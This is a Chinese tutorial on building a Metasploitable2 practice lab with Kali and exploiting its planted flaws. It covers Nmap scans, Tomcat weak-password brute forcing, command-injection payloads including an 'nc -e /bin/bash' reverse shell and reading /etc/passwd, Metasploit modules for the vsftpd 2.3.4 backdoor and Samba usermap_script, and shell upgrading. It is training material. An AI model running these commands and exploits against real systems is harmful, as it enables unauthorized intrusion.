Metasploitable2靶场搭建与渗透测试实战：从Kali配置到漏洞利用

1. 项目概述：为什么选择Metasploitable2作为你的第一个漏洞靶场？

如果你刚接触网络安全，或者对Kali Linux里的那些炫酷工具感到既兴奋又无从下手，那么你大概率听说过“靶场”这个词。简单来说，靶场就是一个安全的、合法的、供你随意“开火”的练习场。而Metasploitable2，无疑是这个领域里最经典、也最适合新手入门的“活靶子”之一。它不是某个真实的网站，而是一个被故意植入了大量已知安全漏洞的Linux虚拟机。这意味着，你可以毫无心理负担地在上面练习从信息收集、漏洞扫描到漏洞利用的完整渗透测试流程，而不用担心触犯法律。

为什么我强烈推荐小白从它开始？首先，它的漏洞是“已知”且“故意”存在的，这降低了学习门槛。你不需要去猜测哪里可能有漏洞，靶场的设计者已经为你准备好了从弱口令、SQL注入到远程代码执行的各种“经典考题”。其次，它与Kali Linux的配合堪称天衣无缝。Kali自带的Nmap、Metasploit、Nessus等工具，都能在Metasploitable2上找到完美的用武之地。最后，围绕它的社区资源和教程极其丰富，几乎你遇到的每一个问题，都能在网上找到详细的解答。搭建它，就是你从“看教程”到“亲手做”的关键一步。

2. 环境准备与核心工具解析

在开始动手之前，我们需要把“战场”布置好。整个过程主要涉及两个核心组件：攻击机（Kali Linux）和靶机（Metasploitable2）。它们通常运行在虚拟机环境中，这样能保证与你真实的主机系统完全隔离，安全又方便。

2.1 虚拟机平台选型：VMware还是VirtualBox？

这是你面临的第一个选择。两款都是优秀的免费虚拟机软件，但侧重点略有不同。

• VMware Workstation Player（免费版）：性能通常更优，特别是图形和网络处理方面。它的虚拟网络配置功能非常强大和直观，对于后续需要搭建复杂网络拓扑（比如中间再放个防火墙）的场景更友好。如果你追求稳定和性能，且主机配置不错，VMware是首选。
• Oracle VirtualBox：完全免费开源，功能足够满足绝大多数学习需求。它的快照功能非常方便，可以随时保存和回退虚拟机的状态，对于反复测试不同漏洞利用步骤的场景特别有用。如果你的主机资源相对紧张，或者纯粹想用一款完全免费的工具，VirtualBox是绝佳选择。

我的实操心得：我个人长期使用VMware，因为它与Kali的兼容性似乎更好一些，剪贴板共享、文件拖拽等集成功能更稳定。但VirtualBox的轻量和快照管理确实让人心动。对于纯新手，我建议哪个顺手用哪个，不必过于纠结，我们的核心是学习安全技术，不是比较虚拟化软件。确保你从官网下载即可。

2.2 Kali Linux攻击机：不仅仅是安装

Kali Linux是我们的“武器库”。现在获取和安装Kali已经变得非常简单。

1. 获取镜像：前往Kali官网下载最新的稳定版ISO镜像。对于新手，推荐下载“Installer”版本，它包含了图形化安装界面。
2. 安装系统：在虚拟机中新建一台机器，内存建议分配至少4GB（2GB也能跑，但会有点卡），硬盘空间20GB以上。然后加载下载的ISO镜像，启动虚拟机，跟随图形化向导完成安装。过程中会设置用户名、密码和时区。
3. 关键一步：更新与换源。安装完成后第一件事，就是更新系统软件包列表。由于默认源可能在国外，速度很慢，我们需要更换为国内的镜像源（这就是热词里“kali换源”的由来）。
   • 打开终端，备份原来的源列表文件：sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak
   • 编辑源列表文件：sudo nano /etc/apt/sources.list
   • 将文件内容替换为国内镜像源，例如阿里云或中科大的源。以下是阿里云源的示例：

     deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib

   • 保存退出（在nano中按Ctrl+X， 然后按Y， 再按Enter）。
   • 执行更新：sudo apt update && sudo apt upgrade -y。这个过程会下载并更新所有软件包，需要一些时间。

注意事项：apt upgrade会升级所有已安装的包，有时可能会引入不兼容问题。对于绝对稳定的学习环境，你可以只做sudo apt update来更新列表，而不进行upgrade。但作为新手靶场练习，升级一般问题不大。

2.3 Metasploitable2靶机：下载与初始化

Metasploitable2的获取更简单，因为它本身就是一个预配置好的虚拟机文件。

1. 官方下载：从SourceForge等可信平台搜索“Metasploitable2”进行下载。你会得到一个压缩包，解压后里面通常包含.vmdk（虚拟磁盘文件）和.vmx（虚拟机配置文件）等文件。
2. 导入虚拟机：
   • VMware：直接使用“打开虚拟机”功能，选择解压目录下的.vmx文件即可。
   • VirtualBox：新建虚拟机，类型选“Linux”，版本选“Ubuntu”（64-bit）。在创建虚拟硬盘时，选择“使用已有的虚拟硬盘文件”，然后指向解压出来的.vmdk文件。
3. 网络配置（重中之重）：为了让Kali能“打中”Metasploitable2，它们必须在同一个网络内。最简便的方法是将两台虚拟机的网络适配器都设置为“NAT模式”。在NAT模式下，虚拟机能通过主机上网，并且虚拟机组成了一个独立的局域网，它们之间可以相互通信。
   • 分别打开两台虚拟机的设置，找到“网络适配器”，选择“NAT模式”。
4. 启动靶机：启动Metasploitable2虚拟机。它的默认登录凭证是：
   • 用户名：msfadmin
   • 密码：msfadmin登录后，你可以通过ifconfig命令查看它的IP地址，记下这个地址（通常是192.168.xxx.xxx的形式），这就是我们后续攻击的目标。

3. 网络连通性测试与信息收集

在发动任何“攻击”之前，侦察是必不可少的一步。我们需要确认攻击路径是通的，并尽可能多地了解目标。

3.1 确认靶机IP与网络连通性

1. 在Kali Linux中打开终端。
2. 首先，我们需要知道靶机的确切IP。如果你已经登录Metasploitable2并看到了IP，可以直接使用。如果不知道，我们可以在Kali端进行探测。
3. 使用ping命令测试基础连通性。假设你从Metasploitable2上看到的IP是192.168.1.105。

   ping -c 4 192.168.1.105

   如果能看到回复（reply），说明网络是通的。如果不同，请检查两台虚拟机的网络模式是否都设置为NAT。

3.2 使用Nmap进行端口扫描与服务发现

知道IP能ping通只是第一步，接下来我们要用“黑客的眼睛”——Nmap，来查看靶机上到底开放了哪些门（端口），门后又是谁（服务）。

1. 基础快速扫描：这个命令会扫描最常见的1000个端口。

   nmap -sV 192.168.1.105

   • -sV：参数表示进行版本探测，尝试识别运行在开放端口上的服务及其版本号。这是非常关键的一步，因为很多漏洞只存在于特定版本的服务中。

2. 全面扫描：如果你想更彻底，可以扫描所有端口（1-65535），但这会慢很多。

   nmap -p- -sV 192.168.1.105

   • -p-：表示扫描所有端口。

运行完nmap -sV后，你可能会看到类似下面的输出（这是Metasploitable2的典型结果）：

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) ...

这份列表就是你的“漏洞地图”。例如，你看到了FTP（21端口）、SSH（22端口）、一个Web服务器（80端口）等等。每个服务及其版本，都可能对应着已知的漏洞。

实操心得：对于Metasploitable2，我强烈建议先运行一次全面的nmap -sV扫描，并把结果保存下来。你可以使用nmap -sV -oN scan_result.txt 192.168.1.105命令将结果输出到文件。这份列表是你后续所有练习的索引，对照着它，你可以逐个服务去研究、测试和利用。

4. 漏洞利用实战：从Web漏洞入手

有了信息收集的结果，我们就可以开始尝试攻击了。Web服务（80端口）通常是漏洞最多、也最适合新手入门的地方。我们以Metasploitable2上的几个经典Web漏洞为例。

4.1 访问Web界面与初步探索

在Kali的浏览器中，直接输入靶机的IP地址，例如http://192.168.1.105。你会看到Metasploitable2的默认页面，上面列出了它包含的多个有漏洞的Web应用，如DVWA、Mutillidae等。但Metasploitable2本身也自带了一些基础漏洞。

4.2 实战：利用Tomcat管理后台弱口令

从Nmap扫描结果中，你可能会发现8080端口开放，运行着Apache Tomcat服务。Tomcat默认会有一个管理后台，地址通常是http://192.168.1.105:8080/manager/html。

1. 尝试访问：在浏览器打开上述地址。你会被要求输入用户名和密码。
2. 弱口令爆破：Tomcat的默认安装常常使用弱口令。Metasploitable2中预设了经典的弱口令组合。你可以尝试：
   • 用户名：tomcat
   • 密码：tomcat或者
   • 用户名：admin
   • 密码：admin
3. 成功登录：使用tomcat/tomcat有很大概率成功登录。一旦进入管理后台，你就获得了上传WAR包（Java Web应用）的权限，这等同于获得了在服务器上执行代码的能力。
4. 利用Metasploit自动化利用：我们也可以使用Kali自带的Metasploit框架来更“专业”地完成这个漏洞利用。
   • 在Kali终端输入msfconsole启动Metasploit。
   • 搜索Tomcat相关模块：search tomcat manager
   • 使用其中一个认证爆破模块：use auxiliary/scanner/http/tomcat_mgr_login
   • 查看需要设置的参数：show options
   • 设置目标IP：set RHOSTS 192.168.1.105
   • 设置端口（如果不是默认8080）：set RPORT 8080
   • 运行：runMetasploit会自动使用内置的字典尝试登录，并反馈成功的凭证。

注意事项：在实际渗透测试中，弱口令爆破需要谨慎，因为可能会触发账户锁定机制或告警。但在Metasploitable2这个靶场里，你可以放心尝试各种方法。这个过程让你理解，默认配置和弱口令是安全中最常见、也最危险的漏洞之一。

4.3 实战：探索命令注入漏洞

Metasploitable2上运行着一个有命令注入漏洞的简单PHP页面。你可以通过Nmap发现的端口和服务，或者直接浏览其Web目录来寻找。

1. 寻找漏洞点：访问http://192.168.1.105/dvwa/可以进入DVWA（Damn Vulnerable Web Application），这是一个专门的安全练习平台，需要登录（默认admin/password）。但Metasploitable2自身可能有一个更简单的例子。尝试访问http://192.168.1.105/vulnerabilities/exec/或类似路径（具体路径可能需要你查看页面源码或使用目录扫描工具如dirb、gobuster来发现）。
2. 理解漏洞原理：假设你找到一个页面，它有一个输入框让你输入一个IP地址来执行ping命令。后端代码可能不当地直接拼接了用户输入，形成了ping -c 4 用户输入这样的系统命令。
3. 注入测试：在输入框中，不要只输入IP，尝试输入8.8.8.8; whoami。分号;在Linux中用于分隔多条命令。如果页面在返回ping结果后，还显示了当前系统用户（如www-data或msfadmin），那么命令注入就成功了。
4. 进一步利用：你可以尝试更复杂的命令，如8.8.8.8; cat /etc/passwd来读取系统密码文件（影子文件），或者8.8.8.8; nc -e /bin/bash 192.168.1.100 4444来尝试反弹一个shell到你的Kali机器（你的Kali需要先用nc -lvp 4444监听4444端口）。

我的实操心得：命令注入的利用方式非常灵活，关键在于理解后端是如何处理你的输入的。除了分号;，还可以尝试逻辑运算符&&、||，以及反引号`和$()来执行命令替换。在测试时，从一个简单的whoami或id命令开始，确认漏洞存在后再进行下一步操作，避免因复杂命令导致页面无响应而无法判断。

5. 集成化漏洞利用：Metasploit框架深度体验

Metasploit是渗透测试的瑞士军刀，它将漏洞利用过程模块化、自动化。我们用它来攻击Metasploitable2上的另一个经典服务——VSFTPD 2.3.4。

5.1 利用VSFTPD 2.3.4后门漏洞

从之前的Nmap扫描中，我们看到21端口运行着vsftpd 2.3.4。这个特定版本存在一个著名的后门漏洞。

1. 启动Metasploit：在Kali终端输入msfconsole。

2. 搜索并选择漏洞模块：

   search vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor

3. 查看并设置参数：

   show options set RHOSTS 192.168.1.105

   通常这个模块只需要设置目标地址（RHOSTS）即可。

4. 执行攻击：

   exploit

   如果成功，你会看到Metasploit返回一个命令行提示符，例如shell>，这表示你已经获得了目标系统的一个命令行会话（shell），而且很可能是root权限！

5. 与Shell交互：在得到的shell里，你可以尝试执行一些命令来验证。

   whoami id pwd

   你可能会看到root，这证明利用完全成功，你拿到了系统的最高权限。

5.2 利用Samba服务漏洞

Metasploitable2的Samba服务（端口445）也存在漏洞。我们可以用Metasploit来利用它。

1. 搜索Samba相关模块：在msfconsole中，search samba会列出很多。我们找一个经典的。
2. 使用usermap_script漏洞模块：

   use exploit/multi/samba/usermap_script set RHOSTS 192.168.1.105 exploit

3. 获取Shell：成功执行后，同样会返回一个shell。你可以在这个shell里探索文件系统。

注意事项：使用Metasploit时，exploit命令可能会因为网络、目标服务状态等原因失败。如果失败，可以多尝试几次，或者使用run命令（与exploit等价）。拿到shell后，这个shell可能是一个“哑巴shell”（dumb shell），没有交互能力（比如不能使用上下键调历史命令，不能清屏）。这时，你可以使用Python或其它方法来生成一个更友好的TTY shell。例如，在获得的shell里输入：python -c 'import pty; pty.spawn("/bin/bash")'。

6. 漏洞扫描与评估：Nessus实战

除了手动利用特定漏洞，我们还可以使用专业的漏洞扫描器来对靶机进行一次全面的“体检”。Nessus是业界最知名的漏洞扫描工具之一，Kali Linux也提供了它的安装方式。

6.1 在Kali上安装与激活Nessus

1. 下载：访问Tenable官网（Nessus开发商），注册一个账户，可以获取到家庭版（免费，但限制扫描IP数量）的激活码。同时下载对应Kali Linux（64位）的.deb安装包。
2. 安装：在下载目录执行sudo dpkg -i Nessus-*.deb进行安装。
3. 启动服务：sudo systemctl start nessusd
4. 初始化：打开浏览器，访问https://kali-local-ip:8834（例如https://127.0.0.1:8834）。首次访问需要等待Nessus初始化，然后按照向导创建管理员账户，并输入你从官网获取的激活码。

6.2 配置扫描任务并分析报告

1. 新建扫描：登录Nessus后，点击“New Scan”，选择“Basic Network Scan”。
2. 配置目标：在“Settings”中，给扫描任务起个名字，如“Metasploitable2 Full Scan”。在“Targets”中，填入靶机的IP地址192.168.1.105。
3. 启动扫描：保存并启动扫描。扫描时间取决于策略和网络状况，通常几分钟到十几分钟。
4. 阅读报告：扫描完成后，点击查看报告。你会看到按风险等级（Critical, High, Medium, Low）排列的漏洞列表。每个漏洞都有详细的描述、风险评分、受影响的端口/服务，以及修复建议。例如，它会明确指出VSFTPD 2.3.4的后门漏洞、Samba的漏洞、Apache Tomcat的弱口令问题等。

我的实操心得：Nessus的报告是极佳的学习材料。不要只看风险等级，要点开每一个中高级别的漏洞，仔细阅读它的“Description”（描述漏洞原理）和“Solution”（修复建议）。这能帮你从防御者的角度理解这个漏洞为什么危险，以及应该如何修补。将Nessus的发现与你手动利用的漏洞进行对照，能让你对漏洞的理解更加立体。

7. 常见问题与排查技巧实录

在搭建和练习过程中，你几乎一定会遇到一些问题。这里我总结几个最常见的坑和解决办法。

7.1 网络不通，Ping不通靶机

这是最高频的问题。

• 检查虚拟机网络设置：确保Kali和Metasploitable2两台虚拟机的网络适配器都设置为“NAT模式”（或“桥接模式”，但NAT更简单）。不要一个用NAT一个用仅主机模式。
• 检查防火墙：在Metasploitable2上，可以临时关闭防火墙进行测试（虽然靶机通常默认关闭）。命令：sudo ufw disable（如果安装了UFW）。
• 检查IP网段：在Kali里用ip addr或ifconfig查看自己的IP，在Metasploitable2里也查看一下。确保它们在同一个子网内（如都是192.168.1.x）。如果Kali是192.168.1.x，而Metasploitable2是192.168.122.x（这是libvirt/KVM的常见网段），那肯定不通。这时需要统一网络模式。
• 终极排查：在Kali上使用arp-scan -l命令扫描本地网络中的所有设备，看看能否发现靶机的MAC地址和IP。

7.2 Metasploit模块执行失败，不返回Shell

• 检查服务状态：确保靶机上对应的服务正在运行。例如，利用VSFTPD漏洞前，用netstat -tulnp | grep :21在靶机上看看21端口是否在监听。
• 检查参数：在msfconsole里，用show options仔细核对所有Required参数是否都已正确设置（特别是RHOSTS）。
• 尝试其他Payload：有时候默认的Payload不兼容。使用show payloads查看可用的，然后尝试换一个。例如，将set payload cmd/unix/interact换成set payload cmd/unix/reverse，并设置好你Kali的IP（LHOST）和监听端口（LPORT）。
• 查看详细输出：在运行exploit前，可以设置set VERBOSE true来获取更详细的输出信息，有助于判断失败原因。

7.3 从Metasploit获得的Shell无法交互

这是一个非常典型的问题，你拿到了shell，但输入命令没反应，或者按退格键、Ctrl+C会出现乱码。

• 升级到完全交互式Shell：在得到的简陋shell里，尝试输入以下命令之一：

  python -c 'import pty; pty.spawn("/bin/bash")'

  或者（如果系统没有python）：

  echo os.system('/bin/bash')

  或者使用socat、script等工具，但Python方法是最常用的。
• 如果Python成功，你通常会看到提示符变成bash样式。接着再按Ctrl+Z将当前会话放到后台，然后在Kali终端输入：

  stty raw -echo; fg

  输入后按一次回车。这样就能得到一个支持历史命令、tab补全的完整TTY shell了。

7.4 忘记Metasploitable2的登录密码

虽然默认是msfadmin/msfadmin，但如果你修改了又忘了，可以：

1. 在虚拟机启动时，在GRUB引导界面（通常一闪而过，需要快速按Shift或Esc键）选择恢复模式（recovery mode）。
2. 进入恢复菜单后，选择“root Drop to root shell prompt”。
3. 此时你拥有root权限，可以执行passwd msfadmin来修改msfadmin用户的密码。
4. 重启系统：reboot -f。

搭建并征服Metasploitable2靶场，只是你网络安全学习长征路上的第一步。这个靶场像一本立体的漏洞百科全书，每一个服务、每一个端口背后，都藏着安全领域的一个经典知识点。我建议你不要满足于按照教程复现一遍。最好的学习方式是：针对Nmap扫描出的每一个开放端口，去主动搜索它的服务名称和版本号，研究它历史上存在过哪些著名漏洞，然后尝试用手动或Metasploit的方式去复现它。这个过程会迫使你去阅读漏洞公告（CVE）、理解漏洞原理、练习利用技巧。当你把Metasploitable2上的大部分漏洞都摸透之后，你对渗透测试的基本流程、常用工具和核心思维，就会有一个非常扎实的入门基础了。那时，你就可以自信地去挑战像DVWA、Pikachu、Upload-Labs这些更专注于某一类漏洞的Web靶场了。